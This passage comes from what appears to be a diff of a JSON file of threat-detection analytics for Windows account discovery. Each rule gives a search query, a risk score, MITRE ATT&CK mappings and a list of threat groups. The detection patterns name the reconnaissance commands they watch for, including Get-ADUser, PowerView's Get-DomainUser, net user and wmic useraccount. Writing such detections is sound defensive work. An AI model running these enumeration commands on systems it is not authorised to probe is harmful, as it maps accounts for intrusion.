"parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Enumerate Users Local Group Using Telegram", - "description": "The following analytic detects a Telegram process enumerating all network users in a local group. It leverages EventCode 4798, which is generated when a process enumerates a user's security-enabled local groups on a computer or device. This activity is significant as it may indicate an attempt to gather information on user accounts, a common precursor to further malicious actions. If confirmed malicious, this behavior could allow an attacker to map out user accounts, potentially leading to privilege escalation or lateral movement within the network.", - "search": "`wineventlog_security` EventCode=4798 CallerProcessName = \"*\\\\telegram.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by user Computer EventCode CallerProcessName ProcessID SubjectUserSid SubjectDomainName SubjectLogonId | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `enumerate_users_local_group_using_telegram_filter`", - "tags": { - "analytic_story": [ - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Telegram application has been identified enumerating local groups on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get ADUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to enumerate domain users via the `Get-ADUser` cmdlet. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to gather information about domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, enabling attackers to identify high-value targets and plan subsequent attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-ADUser*\" AND Processes.process = \"*-filter*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get ADUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-AdUser` PowerShell cmdlet, which is used to enumerate all domain users. It leverages PowerShell Script Block Logging (EventCode=4104) to identify instances where this command is executed with a filter. This activity is significant as it may indicate an attempt by adversaries or Red Teams to gather information about domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance and potential exploitation of user accounts within the domain.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-aduser*\" ScriptBlockText = \"*-filter*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"get-aduser\" for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get DomainUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to enumerate domain users via the `Get-DomainUser` command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams using PowerView for Active Directory discovery. If confirmed malicious, this could allow attackers to gain situational awareness and identify valuable targets within the domain, potentially leading to further exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-DomainUser*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainuser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get DomainUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainUser` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is part of PowerView, a tool often used for domain enumeration. The detection leverages PowerShell operational logs to identify instances where this command is executed. Monitoring this activity is crucial as it may indicate an adversary's attempt to gather information about domain users, which is a common step in Active Directory Discovery. If confirmed malicious, this activity could lead to further reconnaissance and potential exploitation of domain resources.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-DomainUser*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainuser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"*Get-DomainUser*\" for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "GetLocalUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-LocalUser` commandlet, which is used to query local user accounts. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is significant because adversaries and Red Teams may use it to enumerate local users for situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to identify potential targets for further exploitation or privilege escalation within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-LocalUser*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getlocaluser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "GetLocalUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-LocalUser` PowerShell commandlet using PowerShell Script Block Logging (EventCode=4104). This commandlet lists all local users on a system. The detection leverages script block text from PowerShell logs to identify this activity. Monitoring this behavior is significant as adversaries and Red Teams may use it to enumerate local users for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance, enabling attackers to identify potential targets for privilege escalation or lateral movement.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-LocalUser*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getlocaluser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetWmiObject DS User with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to query domain users via the `Get-WmiObject` cmdlet and `-class ds_user` parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain users, which is a common step in Active Directory Discovery. If confirmed malicious, this could lead to further attacks, including privilege escalation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*get-wmiobject*\" AND Processes.process = \"*ds_user*\" AND Processes.process = \"*root\\\\directory\\\\ldap*\" AND Processes.process = \"*-namespace*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_user_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "GetWmiObject DS User with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` cmdlet with the `DS_User` class parameter via PowerShell Script Block Logging (EventCode=4104). It leverages logs to identify attempts to query all domain users using WMI. This activity is significant as it may indicate an adversary or Red Team operation attempting to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, enabling attackers to map out the network and identify potential targets for privilege escalation or lateral movement.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-wmiobject*\" ScriptBlockText = \"*ds_user*\" ScriptBlockText = \"*-namespace*\" ScriptBlockText = \"*root\\\\directory\\\\ldap*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_user_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "powershell process having commandline for user enumeration detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "GetWmiObject User Account with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that utilize the `Get-WmiObject` cmdlet and the `Win32_UserAccount` parameter to query local user accounts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to enumerate user accounts for situational awareness or Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-WmiObject* AND Processes.process=*Win32_UserAccount*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_user_account_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "GetWmiObject User Account with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` commandlet with the `Win32_UserAccount` parameter via PowerShell Script Block Logging (EventCode=4104). This method leverages script block text to identify when a list of all local users is being enumerated. This activity is significant as it may indicate an adversary or Red Team operation attempting to gather user information for situational awareness and Active Directory discovery. If confirmed malicious, this could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Get-WmiObject*\" AND ScriptBlockText=\"*Win32_UserAccount*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `getwmiobject_user_account_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Local Account Discovery with Net", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments `user` or `users` to query local user accounts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate local users, which is a common step in situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further attacks, including privilege escalation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` (Processes.process=*user OR Processes.process=*users) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `local_account_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Local Account Discovery With Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments used to query local user accounts, specifically the `useraccount` argument. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate local users, which is a common step in situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further targeted attacks, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` (Processes.process=*useraccount*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `local_account_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | 